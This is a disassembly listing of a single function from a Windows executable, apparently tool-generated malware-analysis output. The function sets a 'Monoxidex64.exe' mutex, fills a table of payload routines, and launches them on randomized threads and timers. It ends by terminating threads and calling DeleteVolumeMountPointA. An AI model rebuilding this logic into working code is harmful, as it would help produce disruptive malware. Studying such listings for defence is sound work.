Function at 0x140002cf0
Capabilities:
Check mutex on windows
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
call fcn.140002c40
call fcn.1400013b0
test eax, eax
je 0x140002d66
mov qword [rsp + 0x70], rbx
call fcn.140002170
test eax, eax
jne 0x140002d80
xor ebx, ebx
lea r8, [0x140001f20]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002030
mov rbx, qword [rsp + 0x70]
xor eax, eax
lea r11, [rsp + 0x50]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea r8, [0x1400024b0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001c20
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001f20]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002860]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002880]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002970]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002a20]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002bd0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, str.Monoxidex64.exe
xor ecx, ecx
lea edx, [rbx + 1]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140002d5a
mov dword [rbp - 0x20], 0xbb80
lea rax, [0x140003ac0]
mov qword [rbp - 0x18], rax
xorps xmm1, xmm1
mov dword [rbp - 0x1c], 0x15f900
lea rax, [0x140003cc0]
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140003d70]
mov dword [rbp - 0x20], 0x1f40
mov dword [rbp - 0x1c], 0x3a980
movups xmmword [0x140030e60], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400041f0]
mov dword [rbp - 0x20], 0x1f40
mov dword [rbp - 0x1c], 0x3a980
movups xmmword [0x140030e80], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140004590]
mov dword [rbp - 0x20], 0x3e80
mov dword [rbp - 0x1c], 0x75300
movups xmmword [0x140030ea0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400045d0]
mov dword [rbp - 0x20], 0x1f40
mov dword [rbp - 0x1c], 0x3a980
movups xmmword [0x140030ec0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140004630]
mov dword [rbp - 0x20], 0x1f40
mov dword [rbp - 0x1c], 0x3a980
movups xmmword [0x140030ee0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140004680]
mov dword [rbp - 0x20], 0x2ee0
mov dword [rbp - 0x1c], 0x57e40
movups xmmword [0x140030f00], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400049d0]
mov dword [rbp - 0x20], 0xbb80
mov dword [rbp - 0x1c], 0x15f900
movups xmmword [0x140030f20], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140004ee0]
mov dword [rbp - 0x20], 0xbb80
mov dword [rbp - 0x1c], 0x15f900
movups xmmword [0x140030f40], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140004fe0]
mov dword [rbp - 0x20], 0x1f40
mov dword [rbp - 0x1c], 0x3a980
movups xmmword [0x140030f60], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov dword [rbp - 0x20], 0x1f40
mov dword [rbp - 0x1c], 0x3a980
mov qword [rbp - 0x18], rax
lea rax, [0x140005050]
movups xmmword [0x140030f80], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov dword [rbp - 0x20], 0x1f40
movups xmmword [0x140030e70], xmm1
mov dword [rbp - 0x1c], 0x3a980
movups xmmword [0x140030fa0], xmm0
movups xmmword [0x140030e90], xmm1
movups xmmword [0x140030eb0], xmm1
movups xmmword [0x140030ed0], xmm1
movups xmmword [0x140030ef0], xmm1
movups xmmword [0x140030f10], xmm1
movups xmmword [0x140030f30], xmm1
movups xmmword [0x140030f50], xmm1
movups xmmword [0x140030f70], xmm1
movups xmmword [0x140030f90], xmm1
movups xmmword [0x140030fb0], xmm1
mov qword [rbp - 0x18], rax
lea rdx, [0x140006c50]
movups xmm0, xmmword [rbp - 0x20]
mov dword [rbp - 0x20], 0x3e80
lea rax, [0x140005240]
mov qword [rbp - 0x18], rax
lea rax, [0x140005440]
mov dword [rbp - 0x1c], 0x75300
movups xmmword [0x140030fc0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400058e0]
mov dword [rbp - 0x20], 0xbb80
mov dword [rbp - 0x1c], 0x15f900
movups xmmword [0x140030fe0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140005ea0]
mov dword [rbp - 0x20], 0xbb80
mov dword [rbp - 0x1c], 0x15f900
movups xmmword [0x140031000], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140006040]
mov dword [rbp - 0x20], 0xbb80
mov dword [rbp - 0x1c], 0x15f900
movups xmmword [0x140031020], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140006520]
mov dword [rbp - 0x20], 0xbb80
mov dword [rbp - 0x1c], 0x15f900
movups xmmword [0x140031040], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x1400066a0]
mov qword [rbp - 0x10], rax
lea rax, [0x140006720]
mov qword [rbp - 0x18], rbx
movups xmmword [0x140031160], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140006cd0]
mov qword [rbp - 0x18], rbx
movups xmmword [0x140030c00], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140007050]
movups xmmword [0x140030fd0], xmm1
mov qword [rbp - 0x18], rbx
movups xmmword [0x140030ff0], xmm1
movups xmmword [0x140031010], xmm1
movups xmmword [0x140031030], xmm1
movups xmmword [0x140031050], xmm1
movups xmmword [0x140031170], xmm1
movsd xmm1, qword [rbp - 0x10]
movups xmmword [0x140030c18], xmm0
mov qword [rbp - 0x10], rdx
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rbx
movsd qword [0x140030c10], xmm1
movsd xmm1, qword [rbp - 0x10]
mov qword [rbp - 0x10], rax
lea rax, [0x1400071c0]
mov qword [rbp - 0x20], rax
lea rax, [0x140007750]
movups xmmword [0x140030c30], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140007800]
movsd qword [0x140030c28], xmm1
movsd xmm1, qword [rbp - 0x10]
mov qword [rbp - 0x10], rdx
movups xmmword [0x140030c48], xmm0
mov qword [rbp - 0x18], rbx
movups xmm0, xmmword [rbp - 0x20]
movsd qword [0x140030c40], xmm1
movsd xmm1, qword [rbp - 0x10]
movups xmmword [0x140030c60], xmm0
mov qword [rbp - 0x10], rax
movsd qword [0x140030c58], xmm1
movsd xmm1, qword [rbp - 0x10]
lea rax, [0x140007880]
mov qword [rbp - 0x20], rax
lea rcx, [0x140007cf0]
movsd qword [0x140030c70], xmm1
lea rax, [0x140007b00]
mov qword [rbp - 0x18], rbx
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140007c70]
mov qword [rbp - 0x18], rbx
movups xmmword [0x140030c78], xmm0
mov qword [rbp - 0x10], rdx
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x18], rcx
movsd xmm1, qword [rbp - 0x10]
movsd qword [0x140030c88], xmm1
mov qword [rbp - 0x10], rax
lea rax, [0x140007e90]
movsd xmm1, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
lea rax, [0x140008330]
movsd qword [0x140030ca0], xmm1
mov qword [rbp - 0x10], rax
lea rax, [0x1400083b0]
movsd xmm1, qword [rbp - 0x10]
movsd qword [0x140030cb8], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030c90], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140008770]
movdqu xmmword [rbp - 0x18], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030cd0], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030ca8], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140008a20]
movdqu xmmword [rbp - 0x18], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030ce8], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030cc0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140008df0]
movdqu xmmword [rbp - 0x18], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030d00], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030cd8], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140008f40]
movdqu xmmword [rbp - 0x18], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030d18], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030cf0], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140009110]
movdqu xmmword [rbp - 0x18], xmm1
mov qword [rbp - 0x10], rdx
unpckhpd xmm1, xmm1
movups xmmword [0x140030d08], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140009380]
movsd qword [0x140030d30], xmm1
movsd xmm1, qword [rbp - 0x10]
mov qword [rbp - 0x18], rcx
movups xmmword [0x140030d20], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
movsd qword [0x140030d48], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d38], xmm0
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rbp - 0x20]
lea rax, [0x140009550]
mov qword [rsp + 0x28], rbx
unpckhpd xmm1, xmm1
lea r8, [0x140003820]
mov qword [rbp - 0x20], rax
xor r9d, r9d
movsd qword [0x140030d60], xmm1
lea rax, [0x140009730]
xorps xmm1, xmm1
mov dword [rsp + 0x20], ebx
movdqu xmmword [rbp - 0x18], xmm1
xor ecx, ecx
unpckhpd xmm1, xmm1
movsd qword [0x140030d78], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d50], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140009a30]
movdqu xmmword [rbp - 0x18], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030d90], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d68], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140009e60]
movdqu xmmword [rbp - 0x18], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030da8], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d80], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x140009fa0]
movdqu xmmword [rbp - 0x18], xmm1
mov qword [rbp - 0x10], rdx
unpckhpd xmm1, xmm1
movups xmmword [0x140030d98], xmm0
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x14000a360]
mov qword [rbp - 0x18], rbx
movsd qword [0x140030dc0], xmm1
movsd xmm1, qword [rbp - 0x10]
movups xmmword [0x140030db0], xmm0
mov qword [rbp - 0x10], rdx
xor edx, edx
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
lea rax, [0x14000a5e0]
movsd qword [0x140030dd8], xmm1
movsd xmm1, qword [rbp - 0x10]
movups xmmword [0x140030dc8], xmm0
mov qword [rbp - 0x18], rbx
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x20], rax
movsd qword [0x140030df0], xmm1
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmmword [0x140030de0], xmm0
movups xmm0, xmmword [rbp - 0x20]
unpckhpd xmm1, xmm1
movups xmmword [0x140030e40], xmm0
movsd qword [0x140030e50], xmm1
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
lea r12, [0x140030c00]
nop dword [rax + rax]
mov r8d, dword [0x140030bb0]
mov ecx, r8d
shl ecx, 0xd
xor r8d, ecx
mov qword [rsp + 0x28], rbx
mov eax, r8d
mov dword [rsp + 0x20], ebx
shr eax, 0x11
xor r8d, eax
mov eax, r8d
shl eax, 5
xor r8d, eax
mov eax, 0x86186187
mul r8d
mov eax, r8d
mov dword [0x140030bb0], r8d
sub eax, edx
shr eax, 1
add eax, edx
xor edx, edx
shr eax, 4
imul eax, eax, 0x15
sub r8d, eax
lea rcx, [r8 + r8*2]
lea r9, [r12 + rcx*8]
xor ecx, ecx
lea r8, [0x1400061e0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x140030bb0]
mov edx, ecx
shl edx, 0xd
mov rdi, rax
xor ecx, edx
mov eax, 0xaaaaaaab
mov edx, ecx
shr edx, 0x11
xor ecx, edx
mov edx, ecx
shl edx, 5
xor ecx, edx
mul ecx
mov dword [0x140030bb0], ecx
shr edx, 1
lea edx, [rdx + rdx*2]
cmp ecx, edx
je 0x140003640
mov edx, 0x2710
jmp 0x140003670
mov eax, ecx
shl eax, 0xd
xor ecx, eax
mov eax, ecx
shr eax, 0x11
xor ecx, eax
mov eax, ecx
shl eax, 5
xor ecx, eax
mov eax, 0xcccccccd
mul ecx
mov dword [0x140030bb0], ecx
shr edx, 2
lea eax, [rdx + rdx*4]
sub ecx, eax
imul edx, ecx, 0x9c4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x14002cb80], 0x708
jl 0x1400035a0
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [0x140030e40]
mov qword [rsp + 0x28], rbx
lea r8, [0x1400061e0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [0x140031160]
mov qword [rsp + 0x28], rbx
lea r8, [0x140003920]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140023db8]
call qword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
call fcn.140002030
jmp 0x140003722